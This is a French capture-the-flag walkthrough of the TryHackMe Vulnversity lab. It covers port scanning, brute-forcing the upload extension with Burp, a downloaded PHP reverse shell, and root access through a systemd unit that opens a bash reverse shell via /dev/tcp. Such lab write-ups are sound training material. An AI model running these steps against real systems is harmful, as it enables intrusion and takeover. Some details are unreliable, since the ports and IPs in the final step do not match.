TryHackMe - Vulnversity
Introduction
Voici mes notes pour le challenge vulnversity de tryhackme.com
Les outils utilisés
- Kali Linux
- nmap
- gobuster
- burp
- netcat
- PHP
- SUID
- Service en Linux
Étape 1 - Reconnaissance
Scanner notre host avec la détection des versions.
nmap -sV $host
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-20 13:46 EDT
Nmap scan report for 10.10.212.43
Host is up (0.088s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.14 seconds
Scanner les 400 premiers ports (0-400)
nmap -sV -p-400 \$host
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-20 13:47 EDT
Nmap scan report for 10.10.212.43
Host is up (0.089s latency).
Not shown: 397 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.00 seconds
Étape 2 - Collecter des informations sur notre cible
Nous allons utiliser gobuster pour récupérer l’information des répertoires exposés
Documentation : https://github.com/OJ/gobuster
sudo apt-get install -y gobuster
Par défaut les wordlists se trouvent ici : /usr/share/wordlists
Pour démarrer le scan:
gobuster dir -u http://$host:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
Étape 3 - Exploitation
Nous allons utiliser Burp Documentation : https://portswigger.net/burp
La première étape est de créer un fichier contenant toutes les extensions que nous voulons tester. Notre objectif est de trouver une extension qui sera permissive et qui nous permettra d’envoyer un “evil script”.
cat phpext.txt
.php
.php3
.php4
.php5
.phtml
Ouvrir Burp,
Naviguer comme suit:
Temporary Project > Use Burp Defaults > Start Burp
Maintenant il faut configurer burp pour notre attaque.
Il faut premièrement activer l’intercepteur de trafic.
Proxy > Intercept > Intercept is ON
Ensuite dans notre navigateur, il faut ajouter le proxy comme suit : 127.0.0.1:8080
Puis retourner sur la page web et faite F5, burp devrait avoir intercepté la requête.
Il faut envoyer la requête à l’outil Intruder
Proxy > Intercept > Action > Send to Intruder Puis allez, Intruder > positions > Sniper attack type
Sélectionner l’extension du fichier (.php
), puis cliquer sur Add S
Maintenant pour lancer l’attaque: Intruder > Payloads
-
Payload type: Simple list
-
Charger le fichier
phpext.txt
-
décocher le URL-encode these characters (ou seulement enlever le ‘.’ de la liste)
-
Launch the Attack
Voici un exemple de la requête:
POST /internal/index.php HTTP/1.1
Host: 10.10.212.43:3333
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.212.43:3333/internal/index.php
Content-Type: multipart/form-data; boundary=---------------------------102113168794466529604392760
Content-Length: 329
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
-----------------------------102113168794466529604392760
Content-Disposition: form-data; name="file"; filename="test§.txt§"
Content-Type: application/x-php
-----------------------------102113168794466529604392760
Content-Disposition: form-data; name="submit"
Submit
-----------------------------102113168794466529604392760--
Il faut vérifier la réponse obtenue pour chaque extension, vous devez en avoir une qui fonctionne.
Il faut télécharger ce fichier, Reverse Shell : https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Pour pour permettre de ce connecter en utilisant le script PHP, il faut modifier deux informations:
- L’adresse IP pour se connecter (Notre IP dans ce cas)
- Le port de connexion (un port que vous choisissez, je vais prendre le
6666
)
Ouvrir une nouvelle fenêtre terminale puis démarrer votre serveur en utilisant netcat
nc -lvnp 6666
listening on [any] 6666 ...
Maintenant, il faut téléverser le “evil script” en utilisant le formulaire, vous allez voir que la page va charger à l’infini et c’est normal.
Arrêter Burp et enlever le proxy avant de faire le téléversement.
Pour établir la connexion entre le serveur et votre machine, allez à l’Adresse suivante : http://$host:3333/internal/uploads/php-reverse-shell.phtml
Sur votre console de Kali Linux, vous devriez avoir quelque chose comme :
connect to [10.6.25.10] from (UNKNOWN) [10.10.212.43] 57906
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x8664 x8664 x86_64 GNU/Linux
14:20:54 up 36 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Ne faites pas CTRL+C, vous allez devoir vous reconnecter, puis l’autocomplétion ne fonctionne pas
Étape 4 - Privileges escalation
Chercher les fichiers SUID
find / -perm /4000
Pour les SGID (non utilisé ici)
find / -perm /2000
### REMOVED all /proc/**
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/squid/pinger
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
### REMOVED all Permission Denied
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/ping6
/bin/umount
/bin/systemctl
/bin/ping
/bin/fusermount
find: '/tmp/systemd-private-dc88bcef9f8f46418774a77d2234331e-systemd-timesyncd.service-VByJuR': Permission denied
find: '/sys/fs/fuse/connections/39': Permission denied
find: '/sys/kernel/debug': Permission denied
/sbin/mount.cifs
find: '/root': Permission denied
Il faut vérifier la liste ci-dessus et regarder s’il y a des programmes qui ne devraient pas être là.
Puis le /etc/systemctl
ne devrait pas.
Nous allons utiliser le fait que systemctl soit exécuté en root peu importe l’usager qui le lance pour devenir root
Voici ce que nous allons faire : https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49
Nous allons créer un service qui crée un reverse Shell, et ce Shell sera root car la commande est lancée en tant que root.
echo "[Unit]" > /tmp/mr.service
echo "Description=Hola" >> /tmp/mr.service
echo "[Service]" >> /tmp/mr.service
echo "Type=simple" >> /tmp/mr.service
echo "User=root" >> /tmp/mr.service
echo "ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.8.23.12/6666 0>&1'" >> /tmp/mr.service
echo "[Install]" >> /tmp/mr.service
echo "WantedBy=multi-user.target" >> /tmp/mr.service
cat /tmp/mr.service
Sur kali, démarrer un second serveur avec netcat
nc -lvnp 4444
listening on [any] 4444 ...
Puis démarrez le service comme suit:
systemctl enable /tmp/mr.service
Created symlink from /etc/systemd/system/multi-user.target.wants/mr.service to /tmp/mr.service.
Created symlink from /etc/systemd/system/mr.service to /tmp/mr.service.
systemctl start mr
Puis sur votre shell de kali:
connect to [10.6.25.10] from (UNKNOWN) [10.10.212.43] 35798
bash: cannot set terminal process group (1717): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnuniversity:/#
Vous voilà maintenant root !